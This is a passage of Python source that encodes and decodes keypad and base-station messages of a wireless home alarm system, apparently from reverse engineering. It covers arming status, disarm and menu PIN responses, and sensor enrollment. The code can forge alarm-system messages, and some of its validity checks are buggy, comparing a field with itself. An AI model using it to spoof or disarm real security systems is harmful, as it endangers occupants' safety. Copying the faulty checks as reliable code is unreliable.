\"{:02X}\".format(msg.payload_body[1])\n if payload_body_suffix != cls.payload_body_suffix:\n raise InvalidMessageBytesError\n prefix = msg.payload_body[0] & 0xF\n if prefix == 0xF:\n prefix = None\n elif prefix > 9:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence, prefix)\n\n @property\n def payload_body(self):\n if self.prefix is None:\n prefix = 0xFFFFFFFF\n else:\n prefix = int(self.payload_body_prefix + str(self.prefix) + payload_body_suffix, 16)\n return struct.pack(\">I\", prefix)\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n\nclass AbstractKeypadModifyComponentMenuRequest(KeypadMessage):\n\n plc = 0x66\n\n def __init__(self, sn: str, sequence: int, c_sn: str):\n # Verify if Component Type is sent\n self.c_sn = c_sn\n super().__init__(self.plc, sn, sequence, self.event_type, self.payload_body)\n\n def __str__(self):\n r = super().__str__()\n r += \"Component Serial Number: \" + self.c_sn + \"\\n\"\n return r\n\n @classmethod\n def factory(cls, msg: KeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n (c_sn, hb, lb) = SerialNumberFormat.unpack(SerialNumberFormat.ASCII_4B5C, msg.payload_body)\n for c in cls.__subclasses__():\n if msg.event_type == c.event_type:\n return c(msg.sn, msg.sequence, c_sn)\n raise InvalidMessageBytesError\n\n @property\n def payload_body(self):\n if len(self.c_sn) == 5:\n return SerialNumberFormat.pack(SerialNumberFormat.ASCII_4B5C, self.c_sn)\n else:\n return SerialNumberFormat.pack(SerialNumberFormat.ASCII_4B5C, self.c_sn, True, True) # TODO: What makes these bits different?\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n# Level 5\nclass KeypadRemoveComponentConfirmMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.REMOVE_COMPONENT_CONFIRM_MENU_REQUEST\n\n\nclass KeypadAddEntrySensorMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.ADD_ENTRY_SENSOR_MENU_REQUEST\n\n\nclass KeypadAddMotionSensorMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.ADD_MOTION_SENSOR_MENU_REQUEST\n\n\nclass KeypadAddPanicButtonMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.ADD_PANIC_BUTTON_MENU_REQUEST\n\n\nclass KeypadAddKeychainRemoteMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.ADD_KEYCHAIN_REMOTE_MENU_REQUEST\n\n\nclass KeypadAddGlassbreakSensorMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.ADD_GLASSBREAK_SENSOR_MENU_REQUEST\n\n\nclass KeypadAddSmokeDetectorMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.ADD_SMOKE_DETECTOR_MENU_REQUEST\n\n\nclass KeypadAddCoDetectorMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.ADD_CO_DETECTOR_MENU_REQUEST\n\n\nclass KeypadAddFreezeSensorMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.ADD_FREEZE_SENSOR_MENU_REQUEST\n\n\nclass KeypadAddWaterSensorMenuRequest(AbstractKeypadModifyComponentMenuRequest):\n\n event_type = KeypadMessage.EventType.ADD_WATER_SENSOR_MENU_REQUEST\n\n\n# Level 4\nclass KeypadAddComponentTypeMenuRequest(KeypadMessage):\n\n event_type = KeypadMessage.EventType.ADD_COMPONENT_TYPE_MENU_REQUEST\n plc = 0x33\n\n class ComponentType(UniqueEnum):\n ENTRY_SENSOR = 0x00\n MOTION_SENSOR = 0x01\n PANIC_BUTTON = 0x02\n KEYPAD = 0x03\n KEYCHAIN_REMOTE = 0x04\n GLASSBREAK_SENSOR = 0x05\n CO_DETECTOR = 0x06\n SMOKE_DETECTOR = 0x07\n WATER_SENSOR = 0x08\n FREEZE_SENSOR = 0x09\n\n def __init__(self, sn: str, sequence, c_type: 'KeypadAddComponentTypeMenuRequest.ComponentType'):\n self.c_type = c_type\n super().__init__(self.plc, sn, sequence, self.event_type, self.payload_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Component Type: \" + self.c_type.__class__.key(self.c_type) + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: KeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n c_type = KeypadAddComponentTypeMenuRequest.ComponentType(msg.payload_body[0])\n return cls(msg.sn, msg.sequence, c_type)\n\n @property\n def payload_body(self):\n return bytes([self.c_type])\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n# Level 2\nclass BaseStationKeypadMessage(Message):\n\n origin_type = Message.OriginType.BASE_STATION\n\n class MessageType(UniqueEnum):\n RESPONSE = 0x01\n UPDATE = 0x05\n\n class InfoType(UniqueEnum):\n STATUS = 0x2\n MENU = 0x6\n\n def __init__(self, plc: int, kp_sn: str, sequence: int, msg_type: 'BaseStationKeypadMessage.MessageType', info_type: 'BaseStationKeypadMessage.InfoType', event_type: 'KeypadMessage.EventType', payload_body: bytes, footer_body: bytes):\n self.sequence = sequence\n self.msg_type = msg_type\n self.info_type = info_type\n self.event_type = event_type\n self.payload_body = payload_body\n self.footer_body = footer_body\n super().__init__(plc, kp_sn, self.payload, self.footer)\n\n def __str__(self):\n s = super().__str__()\n s += \"Origin Type: \" + self.origin_type.__class__.key(self.origin_type) + \"\\n\"\n s += \"Sequence: 0x{:X}\\n\".format(self.sequence)\n s += \"Message Type: \" + self.msg_type.__class__.key(self.msg_type) + \"\\n\"\n s += \"Info Type: \" + self.info_type.__class__.key(self.info_type) + \"\\n\"\n s += \"Keypad Event Type: \" + self.event_type.__class__.key(self.event_type) + \"\\n\"\n s += \"Footer Serial Number: \" + SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, self.footer_body) + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: Message, recurse: bool=True):\n origin_type = cls.OriginType(msg.payload[0])\n if origin_type != cls.origin_type:\n raise InvalidMessageBytesError\n msg_type = cls.MessageType(msg.payload[1])\n payload_body = msg.payload[2:-1]\n event_type = KeypadMessage.EventType(msg.payload[-1])\n sequence = msg.footer[5] >> 4\n info_type = cls.InfoType(msg.footer[5] & 0xF)\n #footer_sn = \"{:X}\".format(msg.footer[0] & 0xF)\n #footer_sn += \"{:X}\".format(msg.footer[1] & 0xF)\n #footer_sn += \"{:X}\".format(msg.footer[2] & 0xF)\n #footer_sn += \"{:X}\".format(msg.footer[3] & 0xF)\n #footer_sn += \"{:X}\".format(msg.footer[4] & 0xF)\n #footer_sn += \"{:X}\".format(msg.footer[3] >> 4)\n #footer_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer)\n footer_body = msg.footer[:-1]\n msg = cls(msg.plc, msg.sn, sequence, msg_type, info_type, event_type, payload_body, footer_body)\n if recurse:\n for c in cls.__subclasses__():\n try:\n return c.factory(msg)\n except ValueError:\n pass\n raise NotImplementedError(\"Unimplemented BaseStationKeypadMessage, PLC: 0x{:02X}, Message Type: 0x{:02X}, Info Type: 0x{:02X}, Event Type: 0x{:02X}\".format(msg.plc, msg_type, info_type, event_type))\n return msg\n\n @property\n def footer(self):\n return self.footer_body + bytes([(self.sequence << 4) | self.info_type])\n #footer = bytes([int(self.footer_sn[0], 16)])\n #footer += bytes([int(self.footer_sn[1], 16)])\n #footer += bytes([int(self.footer_sn[2], 16)])\n #footer += bytes([(int(self.footer_sn[5], 16) << 4) + int(self.footer_sn[3], 16)])\n #footer += bytes([int(self.footer_sn[4], 16)])\n #footer = SerialNumberFormat.pack(SerialNumberFormat.HEX_5B6C, self.footer_sn)\n #footer += bytes([(self.sequence << 4) | self.info_type])\n #return footer\n\n @footer.setter\n def footer(self, value):\n if value != self.footer:\n raise ValueError\n\n @property\n def payload(self):\n return bytes([self.origin_type, self.msg_type]) + self.payload_body + bytes([self.event_type])\n\n @payload.setter\n def payload(self, value):\n if value != self.payload:\n raise ValueError\n\n\n# Level 3\nclass BaseStationKeypadResponseTrait:\n\n msg_type = BaseStationKeypadMessage.MessageType.RESPONSE\n\n\nclass BaseStationKeypadUpdateTrait:\n\n msg_type = BaseStationKeypadMessage.MessageType.UPDATE\n\n\nclass BaseStationKeypadStatusMessageTrait:\n\n info_type = BaseStationKeypadMessage.InfoType.STATUS\n\n class ErrorFlags(UniqueEnum):\n POWER_OUTAGE = 0\n ENTRY_SENSOR = 1\n UNKNOWN = 2 # TODO\n NO_LINK_TO_DISPATCHER = 3\n\n @property\n def footer_body(self):\n return SerialNumberFormat.pack(SerialNumberFormat.HEX_5B6C, self.bs_sn)\n\n @footer_body.setter\n def footer_body(self, value):\n if value != self.footer_body:\n raise ValueError\n\n\nclass BaseStationKeypadMenuMessageTrait:\n\n footer_body = bytes([0xFF, 0xFF, 0xFF, 0xFF, 0xFF])\n info_type = BaseStationKeypadMessage.InfoType.MENU\n\n\nclass BaseStationKeypadExtendedStatusMessage(BaseStationKeypadMessage, BaseStationKeypadStatusMessageTrait):\n\n class ArmedStatusType(UniqueEnum):\n OFF = 0x0\n ARMED_AWAY = 0x1\n ARMED_HOME = 0x2\n ARMING_AWAY = 0x3\n ARMING_HOME = 0x4\n\n class EntrySensorStatusType(UniqueEnum):\n CLOSED = 0xF0\n OPEN = 0xF1\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str, msg_type: 'BaseStationKeypadMessage.MessageType', event_type: 'KeypadRequest.EventType', flags: int, armed: 'BaseStationKeypadExtendedStatusMessage.ArmedStatusType', ess: 'BaseStationKeypadExtendedStatusMessage.EntrySensorStatusType', tl: int):\n self.bs_sn = bs_sn\n self.flags = flags\n self.armed = armed\n self.ess = ess\n self.tl = tl\n super().__init__(0x66, kp_sn, sequence, msg_type, self.info_type, event_type, self.payload_body, self.footer_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Error Flags: \\n\"\n for i in BaseStationKeypadStatusMessageTrait.ErrorFlags:\n s += \"\\t\" + i.__class__.key(i) + \": \"\n if self.flags & (1 << i):\n s += \"Y\"\n else:\n s += \"N\"\n s += \"\\n\"\n s += \"Arm State: \" + self.armed.__class__.key(self.armed) + \"\\n\"\n s += \"Entry Sensor Status: \" + self.ess.__class__.key(self.ess) + \"\\n\"\n s += \"Countdown Timer: \" + str(self.tl) + \" seconds\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage, recurse: bool=True):\n if msg.plc != 0x66:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n flags = msg.payload_body[0] >> 4\n armed = cls.ArmedStatusType(msg.payload_body[0] & 0xF)\n ess = cls.EntrySensorStatusType(msg.payload_body[1])\n tl = (msg.payload_body[2] << 4) | (msg.payload_body[3] >> 4)\n msg = cls(msg.sn, msg.sequence, bs_sn, msg.msg_type, msg.event_type, flags, armed, ess, tl)\n if recurse:\n for c in cls.__subclasses__():\n try:\n return c.factory(msg)\n except ValueError:\n pass\n raise NotImplementedError(\"Unimplemented BaseStationKeypadExtendedStatusMessage, Message Type: 0x{:02X}, Event Type: 0x{:02X}\".format(msg.msg_type, msg.event_type))\n return msg\n\n @property\n def payload_body(self):\n payload_body = bytes([(self.flags << 4) | self.armed])\n payload_body += bytes([self.ess])\n payload_body += bytes([self.tl >> 4, ((self.tl & 0xF) << 4) | 0xC])\n return payload_body\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n# Level 4\nclass BaseStationKeypadExtendedStatusResponse(BaseStationKeypadExtendedStatusMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.EXTENDED_STATUS_REQUEST\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str, flags: int, armed: BaseStationKeypadExtendedStatusMessage.ArmedStatusType, ess: BaseStationKeypadExtendedStatusMessage.EntrySensorStatusType, tl: int):\n super().__init__(kp_sn, sequence, bs_sn, self.msg_type, self.event_type, flags, armed, ess, tl)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadExtendedStatusMessage):\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn, msg.flags, msg.armed, msg.ess, msg.tl)\n\n\nclass BaseStationKeypadExtendedStatusUpdate(BaseStationKeypadExtendedStatusMessage, BaseStationKeypadUpdateTrait):\n\n event_type = KeypadMessage.EventType.EXTENDED_STATUS_UPDATE\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str, flags: int, armed: BaseStationKeypadExtendedStatusMessage.ArmedStatusType, ess: BaseStationKeypadExtendedStatusMessage.EntrySensorStatusType, tl: int):\n super().__init__(kp_sn, sequence, bs_sn, self.msg_type, self.event_type, flags, armed, ess, tl)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadExtendedStatusMessage):\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn, msg.flags, msg.armed, msg.ess, msg.tl)\n\n\nclass BaseStationKeypadExtendedStatusRemoteUpdate(BaseStationKeypadExtendedStatusMessage, BaseStationKeypadUpdateTrait):\n\n event_type = KeypadMessage.EventType.EXTENDED_STATUS_REMOTE_UPDATE\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str, flags: int, armed: BaseStationKeypadExtendedStatusMessage.ArmedStatusType, ess: BaseStationKeypadExtendedStatusMessage.EntrySensorStatusType, tl: int):\n super().__init__(kp_sn, sequence, bs_sn, self.msg_type, self.event_type, flags, armed, ess, tl)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadExtendedStatusMessage):\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn, msg.flags, msg.armed, msg.ess, msg.tl)\n\n\n# Level 3\nclass BaseStationKeypadStatusUpdate(BaseStationKeypadMessage, BaseStationKeypadUpdateTrait, BaseStationKeypadStatusMessageTrait):\n\n event_type = KeypadMessage.EventType.STATUS_UPDATE\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str, flags: int):\n self.bs_sn = bs_sn\n self.flags = flags\n super().__init__(0x33, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Error Flags: \\n\"\n for i in BaseStationKeypadStatusMessageTrait.ErrorFlags:\n s += \"\\t\" + i.__class__.key(i) + \": \"\n if self.flags & (1 << i):\n s += \"Y\"\n else:\n s += \"N\"\n s += \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != 0x33:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n flags = msg.payload_body[0]\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn, flags)\n\n @property\n def payload_body(self):\n return bytes([self.flags])\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n\nclass BaseStationKeypadDisarmPinResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadStatusMessageTrait):\n\n event_type = KeypadMessage.EventType.DISARM_PIN_REQUEST\n\n class ResponseType(UniqueEnum):\n VALID = 0x4E\n INVALID = 0x01\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str, response_type: ResponseType):\n self.bs_sn = bs_sn\n self.response_type = response_type\n super().__init__(0x33, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Response: \" + self.response_type.__class__.key(self.response_type) + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage, recurse: bool=True):\n if msg.plc != 0x33:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != msg.event_type:\n raise InvalidMessageBytesError\n response_type = cls.ResponseType(msg.payload_body[0])\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n msg = cls(msg.sn, msg.sequence, bs_sn, response_type)\n if recurse:\n for c in cls.__subclasses__():\n try:\n return c.factory(msg)\n except ValueError:\n pass\n raise NotImplementedError(\"Unimplemented BaseStationKeypadDisarmPinResponse: 0x{:02X}\".format(response_type))\n return msg\n\n @property\n def payload_body(self):\n return bytes([self.response_type])\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n\nclass BaseStationKeypadMenuPinResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadMenuMessageTrait):\n\n event_type = KeypadMessage.EventType.MENU_PIN_REQUEST\n\n class ResponseType(UniqueEnum):\n VALID = 0x00\n INVALID = 0x01\n\n def __init__(self, kp_sn: str, sequence: int, response_type: ResponseType):\n self.response_type = response_type\n super().__init__(0x33, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Response: \" + self.response_type.__class__.key(self.response_type) + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage, recurse: bool=True):\n if msg.plc != 0x33:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n response_type = cls.ResponseType(msg.payload_body[0])\n msg = cls(msg.sn, msg.sequence, response_type)\n if recurse:\n for c in cls.__subclasses__():\n try:\n return c.factory(msg)\n except ValueError:\n pass\n raise NotImplementedError(\"Unimplemented BaseStationKeypadMenuPinResponse: 0x{:02X}\".format(response_type))\n return msg\n\n @property\n def payload_body(self):\n return bytes([self.response_type])\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n\nclass BaseStationKeypadHomeResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadStatusMessageTrait):\n\n event_type = KeypadMessage.EventType.HOME_REQUEST\n payload_body = bytes([0x00]) # TODO: why constant?\n plc = 0x33\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str):\n self.bs_sn = bs_sn\n super().__init__(0x33, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn)\n\n\nclass BaseStationKeypadAwayResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadStatusMessageTrait):\n\n event_type = KeypadMessage.EventType.AWAY_REQUEST\n payload_body = bytes([0x78]) # TODO: why constant?\n plc = 0x33\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str):\n self.bs_sn = bs_sn\n super().__init__(0x33, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != 0x33:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != msg.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn)\n\n\nclass BaseStationKeypadOffRemoteUpdate(BaseStationKeypadMessage, BaseStationKeypadUpdateTrait, BaseStationKeypadStatusMessageTrait):\n\n event_type = KeypadMessage.EventType.OFF_REMOTE_UPDATE\n payload_body = bytes([0xFF]) # TODO: why constant?\n plc = 0x33\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str):\n self.bs_sn = bs_sn\n super().__init__(0x33, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != 0x33:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn)\n\n\nclass BaseStationKeypadEnterMenuResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadMenuMessageTrait):\n\n plc = 0x33\n event_type = KeypadMessage.EventType.ENTER_MENU_REQUEST\n payload_body = bytes([0x01]) # TODO: why constant?\n\n def __init__(self, kp_sn: str, sequence: int):\n super().__init__(0x33, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n if msg.footer_body != cls.footer_body:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence)\n\n\nclass BaseStationKeypadNewPrefixResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadMenuMessageTrait):\n\n event_type = KeypadMessage.EventType.NEW_PREFIX_REQUEST\n payload_body = bytes([0x00]) # TODO: See if keypad responds to other values (guessing anything other than 0x00 is \"not accepted\")\n plc = 0x33\n\n def __init__(self, kp_sn: str, sequence: int):\n super().__init__(self.plc, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n if msg.footer_body != cls.footer_body:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence)\n\n\nclass BaseStationKeypadRemoveComponentSelectMenuResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadMenuMessageTrait):\n\n event_type = KeypadMessage.EventType.REMOVE_COMPONENT_SELECT_MENU_REQUEST\n payload_body = bytes([0x00]) # TODO: why constant?\n plc = 0x33\n\n def __init__(self, kp_sn: str, sequence: int):\n super().__init__(self.plc, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n if msg.footer_body != cls.footer_body:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence)\n\n\nclass BaseStationKeypadRemoveComponentConfirmMenuResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadMenuMessageTrait):\n\n event_type = KeypadMessage.EventType.REMOVE_COMPONENT_CONFIRM_MENU_REQUEST\n payload_body = bytes([0x00]) # TODO: why constant?\n plc = 0x33\n\n def __init__(self, kp_sn: str, sequence: int):\n super().__init__(self.plc, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n if msg.footer_body != cls.footer_body:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence)\n\n\nclass AbstractBaseStationKeypadAddComponentSerialMenuResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadMenuMessageTrait):\n\n plc = 0x33\n\n class ResponseType(UniqueEnum):\n SENSOR_ADDED = 0x00\n SENSOR_ALREADY_ADDED = 0x01\n\n def __init__(self, kp_sn: str, sequence: int, response_type: 'AbstractBaseStationKeypadAddComponentSerialMenuResponse.ResponseType'):\n self.response_type = response_type\n super().__init__(self.plc, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n def __str__(self):\n s = super().__str__()\n s += 'Response Type: ' + self.response_type.__class__.key(self.response_type) + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.footer_body != cls.footer_body:\n raise InvalidMessageBytesError\n response_type = cls.ResponseType(msg.payload_body[0])\n for c in cls.__subclasses__():\n if msg.event_type == c.event_type:\n return c(msg.sn, msg.sequence, response_type)\n raise InvalidMessageBytesError\n\n @property\n def payload_body(self):\n return bytes([self.response_type])\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n\nclass BaseStationKeypadAddEntrySensorMenuResponse(AbstractBaseStationKeypadAddComponentSerialMenuResponse):\n\n event_type = KeypadMessage.EventType.ADD_ENTRY_SENSOR_MENU_REQUEST\n\n\nclass BaseStationKeypadAddMotionSensorMenuResponse(AbstractBaseStationKeypadAddComponentSerialMenuResponse):\n\n event_type = KeypadMessage.EventType.ADD_MOTION_SENSOR_MENU_REQUEST\n\n\nclass BaseStationKeypadAddPanicButtonMenuResponse(AbstractBaseStationKeypadAddComponentSerialMenuResponse):\n\n event_type = KeypadMessage.EventType.ADD_PANIC_BUTTON_MENU_REQUEST\n\n\nclass BaseStationKeypadAddKeychainRemoteMenuResponse(AbstractBaseStationKeypadAddComponentSerialMenuResponse):\n\n event_type = KeypadMessage.EventType.ADD_KEYCHAIN_REMOTE_MENU_REQUEST\n\n\nclass BaseStationKeypadAddGlassbreakSensorMenuResponse(AbstractBaseStationKeypadAddComponentSerialMenuResponse):\n\n event_type = KeypadMessage.EventType.ADD_GLASSBREAK_SENSOR_MENU_REQUEST\n\n\nclass BaseStationKeypadAddSmokeDetectorMenuResponse(AbstractBaseStationKeypadAddComponentSerialMenuResponse):\n\n event_type = KeypadMessage.EventType.ADD_SMOKE_DETECTOR_MENU_REQUEST\n\n\nclass BaseStationKeypadAddCoDetectorMenuResponse(AbstractBaseStationKeypadAddComponentSerialMenuResponse):\n\n event_type = KeypadMessage.EventType.ADD_CO_DETECTOR_MENU_REQUEST\n\n\nclass BaseStationKeypadAddFreezeSensorMenuResponse(AbstractBaseStationKeypadAddComponentSerialMenuResponse):\n\n event_type = KeypadMessage.EventType.ADD_FREEZE_SENSOR_MENU_REQUEST\n\n\nclass BaseStationKeypadAddWaterSensorMenuResponse(AbstractBaseStationKeypadAddComponentSerialMenuResponse):\n\n event_type = KeypadMessage.EventType.ADD_WATER_SENSOR_MENU_REQUEST\n\n\nclass BaseStationKeypadSimpleMessageTrait:\n\n plc = 0x22\n payload_body = bytes()\n\n\nclass AbstractBaseStationKeypadSimpleStatusMessage(BaseStationKeypadMessage, BaseStationKeypadSimpleMessageTrait, BaseStationKeypadStatusMessageTrait):\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str):\n self.bs_sn = bs_sn\n super().__init__(self.plc, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, 